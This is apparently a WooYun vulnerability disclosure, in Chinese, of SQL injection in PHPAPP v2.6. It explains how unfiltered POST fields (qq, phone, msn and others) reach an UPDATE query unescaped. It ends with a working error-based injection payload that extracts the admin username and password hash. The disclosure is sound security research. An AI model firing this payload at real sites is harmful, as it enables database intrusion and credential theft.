### 简要描述:
PHPAPP注入第一枚(无视过滤)
前面提交的时候弄错了,和乌云小秘书商量后,让我重新提交一次,希望2014-12-20提交的那个不要通过审核啊,把这个通过了吧
### 详细说明:
在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。
PSOT注入点:wwww.xxx.com/member.php?app=2&action=40, 存在漏洞的文件在/phpapp/apps/member/member_phpapp.php
下面分析一下漏洞产生的原因
```
public function SetInfoAction(){
$member=$this->GetMysqlOne('*',"".$this->GetTable('member')." WHERE uid='$this->uid'");
$usergroup=$member['usergroup'];
include_once(APPS.'/member/class/member_phpapp.php');
$mf=new MemberFunction();
$membertable=$mf->GetTypeNameMember($member['usertype']);
if($this->POST['Submit']){
$this->POST['about']=$this->str($this->POST['about'],600,1,0,1,0,1);
$this->POST['homepage']=$this->str($this->POST['homepage'],255,1,0,1,0,1);
$birthday=strtotime($this->POST['Year'].'-'.$this->POST['Month'].'-'.$this->POST['Day']);
$this->POST['birthday']=$birthday;
无关代码
$this->Update('member',array('userpost'=>$this->POST['userpost']),array()," WHERE uid='$this->uid'");
$this->Update('member_info',$this->POST,array()," WHERE uid='$this->uid'");
if(!$this->IsSQL($membertable['table_phpapp'],"WHERE uid='$this->uid'")){
$this->Insert($membertable['table_phpapp'],array('uid'=>$this->uid,'about'=>$this->POST['about']),array());
}else{
$this->Update($membertable['table_phpapp'],array('about'=>$this->POST['about']),array()," WHERE uid='$this->uid'");
}
无关代码
```
先把用户post的内容中的几个参数用str函数处理,str方法对用户输入的数据进行了过滤,做了防注。
再往下看,看到了这句$this->Update('member_info',$this->POST,array()," WHERE uid='$this->uid'");把整个post的内容带入了Update方法,再去看看Update方法,/phpapp/apps/core/class/mysql_class_phpapp.php
```
//表名, 修改数组,添加合并数组,条件
function Update($tablename,$setarray=array(),$addarr=array(),$whereif=''){
$setarray=array_merge($setarray,$addarr);
$deletearr=$this->GetMysqlFieldArray($tablename);
if($setarray){
$sqlset='';
foreach($setarray as $key=>$value){
$_key=strtolower($key);
if(isset($deletearr[$_key])){
$value=$this->dataTypeConvert($value,$deletearr[$_key]);
if($sqlset){
$sqlset.=',`'.$_key.'`=\''.$value.'\'';
}else{
$sqlset='`'.$_key.'`=\''.$value.'\'';
}
}
}
$query=sprintf('UPDATE %s SET %s %s',$this->GetTable($tablename),$sqlset,$whereif);
//exit($query);
return $this->MysqlQuery($query);
}else{
return false;
}
}
```
Update代码防注分析:
1、通过GetMysqlFieldArray方法获取数据表的所有字段名及每个字段对应的属性;
2、判断用户post的内容中的key是否是数据表中的字段名,防止了key的注入;
3、通过dataTypeConvert方法把用户提交的数据按数据表中各字段的类型进行防注转换。
如果以上每一步的代码都正确实现了的话,应该是没有办法注入的,但是这里的第3步中,也就是dataTypeConvert方法的实现时有疏忽,看下面代码。
```
function dataTypeConvert($data,$type){
switch($type){
case 'int':
$data=intval($data);
break;
case 'real':
$data=doubleval($data);
break;
case 'timestamp':
$data=intval($data);
break;
case 'string':
case 'year':
case 'date':
case 'time':
case 'datetime':
case 'blob':
default:
//$data=intval($data);
break;
}
return $data;
}
```
只对int、real、timestamp做了处理,其他的类型这里没有处理。
绕过方法:
因为正常提交时的几个参数(about、homepage、Year、Month、domainname)在代码中都使用str方法进行了防注处理,在提交http请求时,可以提交其他的参数,但其他参数必须是数据表(phpapp_member_info)中的字段,且类型不是int、real、timestamp的参数。这里有多个参数可以使用,如avatar、qq、icq、phone、mobile、msn、certificate 7个参数可以注入。
下面以qq为例进行证明:
Phpapp可以显错,那就用error-based blind进行注入。
Pyload:(POST提交)
```
Submit=1&about=a&homepage=b&Year=1990&Month=12&Day=23&domainname=123aiw&userpost=34a5&qq=1' or(select 1 from
(select count(*),concat(floor(rand(0)*2),(select concat(0x23,username,0x23,password)from phpapp_member limit 0,1))a
from information_schema.tables group by a)b) or'
```
注入成功,管理员用户名及密码如下图中所示:
[<img src="https://images.seebug.org/upload/201412/22195056c6feec0a007fd28f7b602fd305aa0f0a.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/22195056c6feec0a007fd28f7b602fd305aa0f0a.jpg)
### 漏洞证明:
见 详细说明
暂无评论